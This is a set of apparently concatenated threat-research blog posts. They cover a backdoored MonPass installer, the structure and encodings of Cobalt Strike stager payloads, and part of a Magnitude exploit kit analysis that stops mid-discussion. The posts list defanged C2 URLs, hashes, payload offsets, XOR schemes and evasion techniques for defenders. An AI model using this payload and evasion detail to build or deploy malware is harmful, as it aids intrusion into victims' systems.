Introduction

We discovered an installer downloaded from the official website of MonPass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. We immediately notified MonPass on 22 April 2021 of our findings and encouraged them to address their compromised server and notify those who downloaded the backdoored client.

We have confirmed with MonPass that they have taken steps to address these issues and are now presenting our analysis.

Our analysis beginning in April 2021 indicates that a public web server hosted by MonPass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. We also found that the MonPass client available for download from 8 February 2021 until 3 March 2021 was backdoored. 

This research provides analysis of relevant backdoored installers and other samples that we found occurring in the wild. Also during our investigation we observed relevant research from NTT Ltd so some technical details or IoCs may overlap.

All the samples are highly similar and share the same pdb path:

C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb and the string: Bidenhappyhappyhappy.

Technical details

The malicious installer is an unsigned PE file. It starts by downloading the legitimate version of the installer from the MonPass official website. This legitimate version is dropped to the C:\Users\Public\ folder and executed under a new process. This guarantees that the installer behaves as expected, meaning that a regular user is unlikely to notice anything suspicious.

Additional similar installers were also found in the wild, with SHA256 hashes:  e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535 and f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9b064ff9e2e129525e8.

The attackers decided to use steganography to transfer shellcode to their victims. On execution, the malware downloads a bitmap image file from http://download.google-images[.]ml:8880/download/37.bmp as shown in figure 2. 

The download is performed slightly unusually in two HTTP requests. The first request uses the HEAD method to retrieve the Content-Length, followed by a second GET request to actually download the image. After the picture is downloaded, the malware extracts the encrypted payload as follows. The hidden data is expected to be up to 0x76C bytes. Starting with the 3rd byte in image data it copies each 4th byte. The resulting data represents an ASCII string of hexadecimal characters which is later decoded into their respective binary values. These bytes are then XOR decrypted using the hardcoded key miat_mg, resulting in a Cobalt-Strike beacon.

We have seen multiple versions of this backdoored installer, each with slightly modified decryptors. 

In version (f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9b064ff9e2e129525e8) the XOR decryption was stripped.

In the version (e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535) basic anti-analysis tricks were stripped. In Figure 3, you can see different time stamps and the same rich headers.

• 

• 

• 

• 

In the backdoored installer we also observed some basic anti-analysis techniques used in an attempt to avoid detection. In particular, we observed checks for the number of processors using the GetSystemInfo function, the amount of physical memory using the GlobalMemoryStatusEx function and the disk capacity using the IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL call. If any of the obtained values are suspiciously low, the malware terminates immediately.

One of the samples (9834945A07CF20A0BE1D70A8F7C2AA8A90E625FA86E744E539B5FE3676EF14A9) used a different known technique to execute shellcode. First it is decoded from a list of UUIDs with UuidFromStringA API, then it is executed using EnumSystemLanguageGroupsA.

After we found a backdoored installer in one of our customers,  we commenced hunting for additional samples in VT and in our user-base, to determine if there were more backdoored installers observed in the wild. In VT we found some interesting hits:

We analyzed the sample and found out that the sample was very similar to infected installers found in our customers. The sample contained anti-analysis techniques using the same XOR decryption and also contained similar C2 server addresses (hxxp://download.google-images.ml:8880/download/x37.bmp) as observed in previous backdoored installers. The sample also contained references to the link (hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/Silverlight_ins.exe) and the file path C:\users\public\Silverlight_ins.exe; however these did not appear to be in use. The sample name is also unusual –  Browser_plugin (8).exe – we speculate that this may be a test sample uploaded by the actor. 

In VT we saw another hash (4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910) again with the name Browser_plugin.exe. According to VT this sample has been downloaded from hxxps://jquery-code.ml/Download/Browser_Plugin.exe. It was downloading a PDF from hxxp://37.61.205.212:8880/dow/Aili.pdf PDF file Aili.pdf.

Afterwards it has the similar functionalities as previously mentioned samples from VT. That means it was downloading and decrypting Cobalt strike beacon from hxxp://micsoftin.us:2086/dow/83.bmp

In our database we again found the similar sample but with the name Browser_plugin (1).exe. This sample was downloaded from hxxp://37.61.205.212:8880/download/Browers_plugin.exe, we saw it on Feb 4, 2021. It doesn’t install any legitimate software, it just shows a MessageBox. It contains C&C address (hxxp://download.google-images.ml:8880/downloa/37.bmp), (Note: there is a typo in the directory name: downloa). 

Compromised Web server content

On the breached web server, where you were able to download backdoored installer we found two executables DNS.exe (456b69628caa3edf828f4ba987223812cbe5bbf91e6bbf167e21bef25de7c9d2) and again Browser_plugin.exe (5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe). 

DNS.exe

It downloads from (hxxp://download.google-images.ml:8880/download/DNSs.bat) C&C server bat file, that is saved in C:\users\public\DNS.bat. It contains this script:

In the second part of the instance, it contains the similar functionality and the same address of C&C server as the backdoored installer that we mentioned earlier. 

Browser_plugin.exe

(5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe)

This sample is very similar to this one (4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910) with the same address of C&C server, but it doesn’t download any additional document. 

C&C server analysis

We checked the malicious web server hxxps://jquery-code.ml, from where (4A43FA8A3305C2A17F6A383FB68F02515F589BA112C6E95F570CE421CC690910) Browser_plugin.exe has been downloading. The malicious web server looks identical to the legitimate one https://code.jquery.com/ the difference is the certificate. The legitimate server https://code.jquery.com is signed by Sectigo Limited while the malicious server is signed by Cloudflare, Inc.

Conclusion

This blog post outlines our findings regarding the MonPass client backdoored with Cobalt Strike. 

In our research we found additional variants on VirusTotal in addition to those we found on the compromised MonPass web server. 

In our analysis of the compromised client and variants, we’ve shown that the malware was using steganography to decrypt Cobalt Strike beacon. 

At this time, we’re not able to make attribution of these attacks with an appropriate level of confidence. However it’s clear that the attackers clearly intended to spread malware to users in Mongolia by compromising a trustworthy source, which in this case is a CA in Mongolia.

Most importantly, anyone that has downloaded the MonPass client between 8 February 2021 until 3 March 2021 should take steps to look for and remove the client and the backdoor it installed. 

I would like to thank Jan Rubín for helping me with this research.

Timeline of communication:

• March 24. 2021 – Discovered backdoored installer
• April 8. 2021 – Initial contact with Monpass through MN CERT/CC providing findings.
• April 20. 2021 – MonPass shared a forensic image of an infected web server with Avast Threat Labs.
• April 22. 2021 – Avast provided information about the incident and findings from the forensics image in a call with MonPass and MN CERT/CC.
• May 3. 2021 – Avast followed up with MonPass in email. No response.
• May 10. 2021 – Avast sent additional follow up email.
• June 4, 2021 – MonPass replied asking for information already provided on April 22, 2021.
• June 14. 2021 – Follow up from Avast to MonPass, no response
• June 29, 2021 – Final email to MonPass indicating our plans to publish with a draft of the blog for feedback.
• June 29, 2021 – Information from MonPass indicating they’ve resolved the issues and notified affected customers.
• July 1, 2021 – Blog published.

Indicators of Compromise (IoC)

•  Repository: https://github.com/avast/ioc/tree/master/MpIncident
•  List of SHA-256: https://github.com/avast/ioc/blob/master/MpIncident/samples.sha256

Timeline of compilation timestamps:

The post Backdoored Client from Mongolian CA MonPass appeared first on Avast Threat Labs.

Intro

Cobalt Strike threat emulation software is the de facto standard closed-source/paid tool used by infosec teams in many governments, organizations and companies. It is also very popular in many cybercrime groups which usually abuse cracked or leaked versions of Cobalt Strike. 

Cobalt Strike has multiple unique features, secure communication and it is fully modular and customizable so proper detection and attribution can be problematic. It is the main reason why we have seen use of Cobalt Strike in almost every major cyber security incident or big breach for the past several years.

There are many great articles about reverse engineering Cobalt Strike software, especially beacon modules as the most important part of the whole chain. Other modules and payloads are very often overlooked, but these parts also contain valuable information for malware researchers and forensic analysts or investigators.

The first part of this series is dedicated to proper identification of all raw payload types and how to decode and parse them. We also share our useful parsers, scripts and yara rules based on these findings back to the community. 

Raw payloads

Cobalt Strike’s payloads are based on Meterpreter shellcodes and include many similarities like API hashing (x86 and x64 versions) or url query checksum8 algo used in http/https payloads, which makes identification harder. This particular checksum8 algorithm is also used in other frameworks like Empire.

Let’s describe interesting parts of each payload separately.

Payload header x86 variant

Default 32bit raw payload’s entry points start with typical instruction CLD (0xFC) followed by CALL instruction and PUSHA (0x60) as the first instruction from API hash algorithm.

Payload header x64 variant

Standard 64bit variants start also with CLD instruction followed by AND RSP,-10h and CALL instruction.

We can use these patterns for locating payloads’ entry points and count other fixed offsets from this position.

Default API hashes

Raw payloads have a predefined structure and binary format with particular placeholders for each customizable value such as DNS queries, HTTP headers or C2 IP address. Placeholder offsets are on fixed positions the same as hard coded API hash values. The hash algorithm is ROR13 and the final hash is calculated from the API function name and DLL name. The whole algorithm is nicely commented inside assembly code on the Metasploit repository.

We can use the following regex patterns for searching hardcoded API hashes:

We can use a known API hashes list for proper payload type identification and known fixed positions of API hashes for more accurate detection via Yara rules.

Complete Cobalt Strike API hash list:

API hash	DLL and API name
0xc99cc96a	dnsapi.dll_DnsQuery_A
0x528796c6	kernel32.dll_CloseHandle
0xe27d6f28	kernel32.dll_ConnectNamedPipe
0xd4df7045	kernel32.dll_CreateNamedPipeA
0xfcddfac0	kernel32.dll_DisconnectNamedPipe
0x56a2b5f0	kernel32.dll_ExitProcess
0x5de2c5aa	kernel32.dll_GetLastError
0x0726774c	kernel32.dll_LoadLibraryA
0xcc8e00f4	kernel32.dll_lstrlenA
0xe035f044	kernel32.dll_Sleep
0xbb5f9ead	kernel32.dll_ReadFile
0xe553a458	kernel32.dll_VirtualAlloc
0x315e2145	user32.dll_GetDesktopWindow
0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x7b18062d	wininet.dll_HttpSendRequestA
0xc69f8957	wininet.dll_InternetConnectA
0x0be057b7	wininet.dll_InternetErrorDlg
0xa779563a	wininet.dll_InternetOpenA
0xe2899612	wininet.dll_InternetReadFile
0x869e4675	wininet.dll_InternetSetOptionA
0xe13bec74	ws2_32.dll_accept
0x6737dbc2	ws2_32.dll_bind
0x614d6e75	ws2_32.dll_closesocket
0x6174a599	ws2_32.dll_connect
0xff38e9b7	ws2_32.dll_listen
0x5fc8d902	ws2_32.dll_recv
0xe0df0fea	ws2_32.dll_WSASocketA
0x006b8029	ws2_32.dll_WSAStartup

Complete API hash list for Windows 10 system DLLs is available here.

Customer ID / Watermark

Based on information provided on official web pages, Customer ID is a 4-byte number associated with the Cobalt Strike licence key and since v3.9 is embedded into the payloads and beacon configs. This number is located at the end of the payload if it is present. Customer ID could be used for specific threat authors identification or attribution, but a lot of Customer IDs are from cracked or leaked versions, so please consider this while looking at these for possible attribution.

DNS stager x86

Typical payload size is 515 bytes or 519 bytes with included Customer ID value. The DNS query name string starts on offset 0x0140 (calculated from payload entry point) and the null byte and max string size is 63 bytes. If the DNS query name string is shorter, then is terminated with a null byte and the rest of the string space is filled with junk bytes.

DnsQuery_A API function is called with two default parameters:

Parameter	Value	Constant
DNS Record Type (wType)	0x0010	DNS_TYPE_TEXT
DNS Query Options (Options)	0x0248	DNS_QUERY_BYPASS_CACHE DNS_QUERY_NO_HOSTS_FILE DNS_QUERY_RETURN_MESSAGE

Anything other than the default values are suspicious and could indicate custom payload.

Python parsing:

Default DNS payload API hashes:

Offset	Hash value	API name
0x00a3	0xe553a458	kernel32.dll_VirtualAlloc
0x00bd	0x0726774c	kernel32.dll_LoadLibraryA
0x012f	0xc99cc96a	dnsapi.dll_DnsQuery_A
0x0198	0x56a2b5f0	kernel32.dll_ExitProcess
0x01a4	0xe035f044	kernel32.dll_Sleep
0x01e4	0xcc8e00f4	kernel32.dll_lstrlenA

Yara rule for DNS stagers:

SMB stager x86

The default payload size is 346 bytes plus the length of the pipe name string terminated by a null byte and the length of the Customer ID if present. The pipe name string is located right after the payload code on offset 0x015A in plaintext format.

CreateNamedPipeA API function is called with 3 default parameters:

Parameter	Value	Constant
Open Mode (dwOpenMode)	0x0003	PIPE_ACCESS_DUPLEX
Pipe Mode (dwPipeMode)	0x0006	PIPE_TYPE_MESSAGE, PIPE_READMODE_MESSAGE
Max Instances (nMaxInstances)	0x0001

Python parsing:

Default SMB payload API hashes:

Offset	Hash value	API name
0x00a1	0xe553a458	kernel32.dll_VirtualAlloc
0x00c4	0xd4df7045	kernel32.dll_CreateNamedPipeA
0x00d2	0xe27d6f28	kernel32.dll_ConnectNamedPipe
0x00f8	0xbb5f9ead	kernel32.dll_ReadFile
0x010d	0xbb5f9ead	kernel32.dll_ReadFile
0x0131	0xfcddfac0	kernel32.dll_DisconnectNamedPipe
0x0139	0x528796c6	kernel32.dll_CloseHandle
0x014b	0x56a2b5f0	kernel32.dll_ExitProcess

Yara rule for SMB stagers:

TCP Bind stager x86

The payload size is 332 bytes plus the length of the Customer ID if present. Parameters for the bind API function are stored inside the SOCKADDR_IN structure hardcoded as two dword pushes. The first PUSH with the sin_addr value is located on offset 0x00C4. The second PUSH contains sin_port and sin_family values and is located on offset 0x00C9 The default sin_family value is AF_INET (0x02).

Python parsing:

Default TCP Bind x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00ac	0x006b8029	ws2_32.dll_WSAStartup
0x00bb	0xe0df0fea	ws2_32.dll_WSASocketA
0x00d5	0x6737dbc2	ws2_32.dll_bind
0x00de	0xff38e9b7	ws2_32.dll_listen
0x00e8	0xe13bec74	ws2_32.dll_accept
0x00f1	0x614d6e75	ws2_32.dll_closesocket
0x00fa	0x56a2b5f0	kernel32.dll_ExitProcess
0x0107	0x5fc8d902	ws2_32.dll_recv
0x011a	0xe553a458	kernel32.dll_VirtualAlloc
0x0128	0x5fc8d902	ws2_32.dll_recv
0x013d	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Bind x86 stagers:

TCP Bind stager x64

The payload size is 510 bytes plus the length of the Customer ID if present. The SOCKADDR_IN structure is hard coded inside the MOV instruction as a qword and contains the whole structure. The offset for the MOV instruction is 0x00EC.

Python parsing:

Default TCP Bind x64 payload API hashes:

Offset	Hash value	API name
0x0100	0x0726774c	kernel32.dll_LoadLibraryA
0x0111	0x006b8029	ws2_32.dll_WSAStartup
0x012d	0xe0df0fea	ws2_32.dll_WSASocketA
0x0142	0x6737dbc2	ws2_32.dll_bind
0x0150	0xff38e9b7	ws2_32.dll_listen
0x0161	0xe13bec74	ws2_32.dll_accept
0x016f	0x614d6e75	ws2_32.dll_closesocket
0x0198	0x5fc8d902	ws2_32.dll_recv
0x01b8	0xe553a458	kernel32.dll_VirtualAlloc
0x01d2	0x5fc8d902	ws2_32.dll_recv
0x01ee	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Bind x64 stagers:

TCP Reverse stager x86

The payload size is 290 bytes plus the length of the Customer ID if present. This payload is very similar to TCP Bind x86 and SOCKADDR_IN structure is hardcoded on the same offset with the same double push instructions so we can reuse python parsing code from TCP Bind x86 payload.

Default TCP Reverse x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00ac	0x006b8029	ws2_32.dll_WSAStartup
0x00bb	0xe0df0fea	ws2_32.dll_WSASocketA
0x00d5	0x6174a599	ws2_32.dll_connect
0x00e5	0x56a2b5f0	kernel32.dll_ExitProcess
0x00f2	0x5fc8d902	ws2_32.dll_recv
0x0105	0xe553a458	kernel32.dll_VirtualAlloc
0x0113	0x5fc8d902	ws2_32.dll_recv

Yara rule for TCP Reverse x86 stagers:

TCP Reverse stager x64

Default payload size is 465 bytes plus length of Customer ID if present. Payload has the same position as the SOCKADDR_IN structure such as TCP Bind x64 payload so we can reuse parsing code again.

Default TCP Reverse x64 payload API hashes:

Offset	Hash value	API name
0x0100	0x0726774c	kernel32.dll_LoadLibraryA
0x0111	0x006b8029	ws2_32.dll_WSAStartup
0x012d	0xe0df0fea	ws2_32.dll_WSASocketA
0x0142	0x6174a599	ws2_32.dll_connect
0x016b	0x5fc8d902	ws2_32.dll_recv
0x018b	0xe553a458	kernel32.dll_VirtualAlloc
0x01a5	0x5fc8d902	ws2_32.dll_recv
0x01c1	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Reverse x64 stagers:

HTTP stagers x86 and x64

Default x86 payload size fits 780 bytes and the x64 version is 874 bytes long plus size of request address string and size of Customer ID if present. The payloads include full request information stored inside multiple placeholders.

Request address

The request address is a plaintext string terminated by null byte located right after the last payload instruction without any padding. The offset for the x86 version is 0x030C and 0x036A for the x64 payload version. Typical format is IPv4.

Request port

For the x86 version the request port value is hardcoded inside a PUSH instruction as a  dword. The offset for the PUSH instruction is 0x00BE. The port value for the x64 version is stored inside MOV r8d, dword instruction on offset 0x010D.

Request query

The placeholder for the request query has a max size of 80 bytes and the value is a plaintext string terminated by a null byte. If the request query string is shorter, then the rest of the string space is filled with junk bytes. The placeholder offset for the x86 version is 0x0143 and 0x0186 for the x64 version.

Cobalt Strike and other tools such as Metasploit use a trivial checksum8 algorithm for the request query to distinguish between x86 and x64 payload or beacon. 

According to leaked Java web server source code,  Cobalt Strike uses only two checksum values, 0x5C (92) for x86 payloads and 0x5D for x64 versions. There are also implementations of Strict stager variants where the request query string must be 5 characters long (including slash). The request query checksum feature isn’t mandatory.

Python implementation of checksum8 algorithm:

Metasploit server uses similar values:

You can find a complete list of Cobalt Strike’s x86 and x64 strict request queries here.

Request header

The size of the request header placeholder is 304 bytes and the value is also represented as a plaintext string terminated by a null byte. The request header placeholder is located immediately after the Request query placeholder. The offset for the x86 version is 0x0193 and 0x01D6 for the x64 version.

The typical request header value for HTTP/HTTPS stagers is User-Agent. The Cobalt Strike web server has banned user-agents which start with lynx, curl or wget and return a response code 404 if any of these strings are found.

API function HttpOpenRequestA is called with following dwFlags (0x84600200):

Python parsing:

Default HTTP x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00aa	0xa779563a	wininet.dll_InternetOpenA
0x00c6	0xc69f8957	wininet.dll_InternetConnectA
0x00de	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x00f2	0x7b18062d	wininet.dll_HttpSendRequestA
0x010b	0x5de2c5aa	kernel32.dll_GetLastError
0x0114	0x315e2145	user32.dll_GetDesktopWindow
0x0123	0x0be057b7	wininet.dll_InternetErrorDlg
0x02c4	0x56a2b5f0	kernel32.dll_ExitProcess
0x02d8	0xe553a458	kernel32.dll_VirtualAlloc
0x02f3	0xe2899612	wininet.dll_InternetReadFile

Default HTTP x64 payload API hashes:

Offset	Hash value	API name
0x00e9	0x0726774c	kernel32.dll_LoadLibraryA
0x0101	0xa779563a	wininet.dll_InternetOpenA
0x0120	0xc69f8957	wininet.dll_InternetConnectA
0x013f	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x0163	0x7b18062d	wininet.dll_HttpSendRequestA
0x0308	0x56a2b5f0	kernel32.dll_ExitProcess
0x0324	0xe553a458	kernel32.dll_VirtualAlloc
0x0342	0xe2899612	wininet.dll_InternetReadFile

Yara rules for HTTP x86 and x64 stagers:

HTTPS stagers x86 and x64

The payload structure and placeholders are almost the same as the HTTP stagers. The differences are only in payload sizes, placeholder offsets, usage of InternetSetOptionA API function (API hash 0x869e4675) and different dwFlags for calling the HttpOpenRequestA API function.

The default x86 payload size fits 817 bytes and the default for the x64 version is 909 bytes long plus size of request address string and size of the Customer ID if present.

Request address

The placeholder offset for the x86 version is 0x0331 and 0x038D for the x64 payload version. The typical format is IPv4.

Request port

The hardcoded request port format is the same as HTTP.  The PUSH offset for the x86 version is 0x00C3. The MOV instruction for x64 version is on offset 0x0110.

Request query

The placeholder for the request query has the same format and length as the HTTP version. The placeholder offset for the x86 version is 0x0168 and 0x01A9 for the x64 version.

Request header

The size and length of the request header placeholder is the same as the HTTP version. Offset for the x86 version is 0x01B8 and 0x01F9 for the x64 version.

API function HttpOpenRequestA is called with following dwFlags (0x84A03200):

InternetSetOptionA API function is called with following parameters:

Python parsing:

Default HTTPS x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00af	0xa779563a	wininet.dll_InternetOpenA
0x00cb	0xc69f8957	wininet.dll_InternetConnectA
0x00e7	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x0100	0x869e4675	wininet.dll_InternetSetOptionA
0x0110	0x7b18062d	wininet.dll_HttpSendRequestA
0x0129	0x5de2c5aa	kernel32.dll_GetLastError
0x0132	0x315e2145	user32.dll_GetDesktopWindow
0x0141	0x0be057b7	wininet.dll_InternetErrorDlg
0x02e9	0x56a2b5f0	kernel32.dll_ExitProcess
0x02fd	0xe553a458	kernel32.dll_VirtualAlloc
0x0318	0xe2899612	wininet.dll_InternetReadFile

Default HTTPS x64 payload API hashes:

Offset	Hash value	API name
0x00e9	0x0726774c	kernel32.dll_LoadLibraryA
0x0101	0xa779563a	wininet.dll_InternetOpenA
0x0123	0xc69f8957	wininet.dll_InternetConnectA
0x0142	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x016c	0x869e4675	wininet.dll_InternetSetOptionA
0x0186	0x7b18062d	wininet.dll_HttpSendRequestA
0x032b	0x56a2b5f0	kernel32.dll_ExitProcess
0x0347	0xe553a458	kernel32.dll_VirtualAlloc
0x0365	0xe2899612	wininet.dll_InternetReadFile

Yara rule for HTTPS x86 and x64 stagers:

The next stage or beacon could be easily downloaded via curl or wget tool:

You can find our parser for Raw Payloads and all according yara rules in our IoC repository.

Raw Payloads encoding

Cobalt Strike also includes a payload generator for exporting raw stagers and payload in multiple encoded formats. Encoded formats support UTF-8 and UTF-16le. 

Table of the most common encoding with usage and examples:

Encoding	Usage	Example
Hex	VBS, HTA	4d5a9000..
Hex Array	PS1	0x4d, 0x5a, 0x90, 0x00..
Hex Veil	PY	\x4d\x5a\x90\x00..
Decimal Array	VBA	-4,-24,-119,0..
Char Array	VBS, HTA	Chr(-4)&”H”&Chr(-125)..
Base64	PS1	38uqIyMjQ6..
gzip / deflate compression	PS1
Xor	PS1, Raw payloads, Beacons

Decoding most of the formats are pretty straightforward, but there are few things to consider. 

• Values inside Decimal and Char Array are splitted via “new lines” represented by “\s_\n” (\x20\x5F\x0A). 
• Common compression algorithms used inside PowerShell scripts are GzipStream and raw DeflateStream.

Python decompress implementation:

XOR encoding

The XOR algorithm is used in three different cases. The first case is one byte XOR inside PS1 scripts, default value is 35 (0x23).

The second usage is XOR with dword key for encoding raw payloads or beacons inside PE stagers binaries. Specific header for xored data is 16 bytes long and includes start offset, xored data size, XOR key and four 0x61 junk/padding bytes.

Python header parsing:

We can create Yara rule based on XOR key from header and first dword of encoded data to verify supposed values there:

The third case is XOR encoding with a rolling dword key, used only for decoding downloaded beacons. The encoded data blob is located right after the XOR algorithm code without any padding. The encoded data starts with an initial XOR key (dword) and the data size (dword xored with init key).

There are x86 and x64 implementations of the XOR algorithm. Cobalt Strike resource includes xor.bin and xor64.bin files with precompiled XOR algorithm code. 

Default lengths of compiled x86 code are 52 and 56 bytes (depending on used registers) plus the length of the junk bytes. The x86 implementation allows using different register sets, so the xor.bin file includes more than 800 different precompiled code variants.

Yara rule for covering all x86 variants with XOR verification:

The precompiled x64 code is 63 bytes long with no junk bytes. There is also only one precompiled code variant.

Yara rule for x64 variant with XOR verification:

You can find our Raw Payload decoder and extractor for the most common encodings here. It uses a parser from the previous chapter and it could save your time and manual work. We also provide an IDAPython script for easy raw payload analysis.

Conclusion

As we see more and more abuse of Cobalt Strike by threat actors, understanding how to decode its use is important for malware analysis.

In this blog, we’ve focused on understanding how threat actors use Cobalt Strike payloads and how you can analyze them.

The next part of this series will be dedicated to Cobalt Strike beacons and parsing its configuration structure.

The post Decoding Cobalt Strike: Understanding Payloads appeared first on Avast Threat Labs.

If I could choose one computer program and erase it from existence, I would choose Internet Explorer. Switching to a different browser would most likely save countless people from getting hacked. Not to mention all the headaches that web developers get when they are tasked with solving Internet Explorer compatibility issues. Unfortunately, I do not have the power to make Internet Explorer disappear. But seeing its browser market share continue to decline year after year at least gives me hope that one day it will be only a part of history.

While the overall trend looks encouraging, there are still some countries where the decline in Internet Explorer usage is lagging behind. An interesting example of this is South Korea, where until recently, users often had no choice but to use this browser if they wanted to visit a government or an e-commerce website. This was because of a law that seems very bizarre from today’s point of view: these websites were required to use ActiveX controls and were therefore only supported in Internet Explorer. Ironically, these controls were originally meant to provide additional security. While this law was finally dismantled in December 2020, Internet Explorer still has a lot of momentum in South Korea today. 

The attackers behind the Magnitude Exploit Kit (or Magniťůdek as we like to call it) are exploiting this momentum by running malicious ads that are currently shown only to South Korean Internet Explorer users. The ads can mostly be found on adult websites, which makes this an example of so-called adult malvertising. They contain code that exploits known vulnerabilities in order to give the attackers control over the victim’s computer. All the victim has to do is use a vulnerable version of Microsoft Windows and Internet Explorer, navigate to a page that hosts one of these ads and they will get the Magniber ransomware encrypting their computer.

Overview

The Magnitude exploit kit, originally known as PopAds, has been around since at least 2012, which is an unusually long lifetime for an exploit kit. However, it’s not the same exploit kit today that it was nine years ago. Pretty much every part of Magnitude has changed multiple times since then. The infrastructure has changed, so has the landing page, the shellcode, the obfuscation, the payload, and most importantly, the exploits. Magnitude currently exploits an Internet Explorer memory corruption vulnerability, CVE-2021-26411, to get shellcode execution inside the renderer process and a Windows memory corruption vulnerability, CVE-2020-0986, to subsequently elevate privileges. A fully functional exploit for CVE-2021-26411 can be found on the Internet and Magnitude uses that public exploit directly, just with some added obfuscation on top. According to the South Korean cybersecurity company ENKI, this CVE was first used in a targeted attack against security researchers, which Google’s Threat Analysis Group attributed to North Korea.

Exploiting CVE-2020-0986 is a bit less straightforward. This vulnerability was first used in a zero-day exploit chain, discovered in-the-wild by Kaspersky researchers who named the attack Operation PowerFall. To the best of our knowledge, this is the first time this vulnerability is being exploited in-the-wild since that attack. Details about the vulnerability were provided in blog posts by both Kaspersky and Project Zero. While both these writeups contain chunks of the exploit code, it must have still been a lot of work to develop a fully functional exploit. Since the exploit from Magnitude is extremely similar to the code from the writeups, we believe that the attackers started from the code provided in the writeup and then added all the missing pieces to get a working exploit.

Interestingly, when we first discovered Magnitude exploiting CVE-2020-0986, it was not weaponized with any malicious payload. All it did after successful exploitation was ping its C&C server with the Windows build number of the victim. At the time, we theorized that this was just a testing version of the exploit and the attackers were trying to figure out which builds of Windows they could exploit before they fully integrated it into the exploit kit. And indeed, a week later we saw an improved version of the exploit and this time, it was carrying the Magniber ransomware as the payload.

Until recently, our detections for Magnitude were protecting on average about a thousand Avast users per day. That number dropped to roughly half after the compliance team of one of the ad networks used by Magnitude kicked the attackers out of their platform. Currently, all the protected users have a South Korean IP address, but just a few weeks back, Taiwanese Internet users were also at risk. Historically, South Korea and Taiwan were not the only countries attacked by Magnitude. Previous reports mention that Magnitude also used to target Hong Kong, Singapore, the USA, and Malaysia, among others. 

The Infrastructure

The Magnitude operators are currently buying popunder ads from multiple adult ad networks. Unfortunately, these ad networks allow them to very precisely target the ads to users who are likely to be vulnerable to the exploits they are using. They can only pay for ads shown to South Korean Internet Explorer users who are running selected versions of Microsoft Windows. This means that a large portion of users targeted by the ads is vulnerable and that the attackers do not have to waste much money on buying ads for users that they are unable to exploit. We reached out to the relevant ad networks to let them know about the abuse of their platforms. One of them successfully terminated the attacker’s account, which resulted in a clear drop in the number of Avast users that we had to protect from Magnitude every day.

When the malicious ad is shown to a victim, it redirects them through an intermediary URL to a page that serves an exploit for CVE-2021-26411. An example of this redirect chain is binlo[.]info -> fab9z1g6f74k.tooharm[.]xyz -> 6za16cb90r370m4u1ez.burytie[.]top. The first domain, binlo[.]info, is the one that is visible to the ad network. When this domain is visited by someone not targeted by the campaign, it just presents a legitimate-looking decoy ad. We believe that the purpose of this decoy ad is to make the malvertising seem legitimate to the ad network. If someone from the ad network were to verify the ad, they would only see the decoy and most likely conclude that it is legitimate.

The other two domains (tooharm[.]xyz and burytie[.]top) are designed to be extremely short-lived. In fact, the exploit kit rotates these domains every thirty minutes and doesn’t reuse them in any way. This means that the exploit kit operators need to register at least 96 domains every day! In addition to that, the subdomains (fab9z1g6f74k.tooharm[.]xyz and 6za16cb90r370m4u1ez.burytie[.]top) are uniquely generated per victim. This makes the exploit kit harder to track and protect against (and more resilient against takedowns) because detection based on domain names is not very effective.

The JavaScript exploit for CVE-2021-26411 is obfuscated with what appears to be a custom obfuscator. The obfuscator is being updated semi-regularly, most likely in an attempt to evade signature-based detection. The obfuscator is polymorphic, so each victim gets a uniquely obfuscated exploit. Other than that, there are not many interesting things to say about the obfuscation, it does the usual things like hiding string/numeric constants, renaming function names, hiding function calls, and more. 

After deobfuscation, this exploit is an almost exact match to a public exploit for CVE-2021-26411 that is freely available on the Internet. The only important change is in the shellcode, where Magnitude obviously provides its own payload. 

Shellcode

The shellcode is sometimes wrapped in a simple packer that uses redundant jmp instructions for obfuscation. This obfuscates every function by randomizing the order of instructions and then adding a jmp instruction between each two consecutive instructions to preserve the original control flow. As with other parts of the shellcode, the order is randomly generated on the fly, so each victim gets a unique copy of the shellcode.

As shown in the above screenshot, the exploit kit prefers not to use standard Windows API functions and instead often invokes system calls directly. The function above uses the NtAllocateVirtualMemory syscall to allocate memory. However, note that this exact implementation only works on Windows 10 under the WoW64 subsystem. On other versions of Windows, the syscall numbers are different, so the syscall number 0x18 would denote some other syscall. And this exact implementation also wouldn’t work on native 32-bit Windows, because there it does not make sense to call the FastSysCall pointer at FS:[0xC0]. 

To get around these problems, this shellcode comes in several variants, each custom-built for a specific version of Windows. Each variant then contains hardcoded syscall numbers fitting the targeted version. Magnitude selects the correct shellcode variant based on the User-Agent string of the victim. But sometimes, knowing the major release version and bitness of Windows is not enough to deduce the correct syscall numbers. For instance, the syscall number for NtOpenProcessToken on 64-bit Windows 10 differs between versions 1909 and 20H2. In such cases, the shellcode obtains the victim’s exact NtBuildNumber from KUSER_SHARED_DATA and uses a hardcoded mapping table to resolve that build number into the correct syscall number. 

Currently, there are only three variants of the shellcode. One for Windows 10 64-bit, one for Windows 7 64-bit, and one for Windows 7 32-bit. However, it is very much possible that additional variants will get implemented in the future.

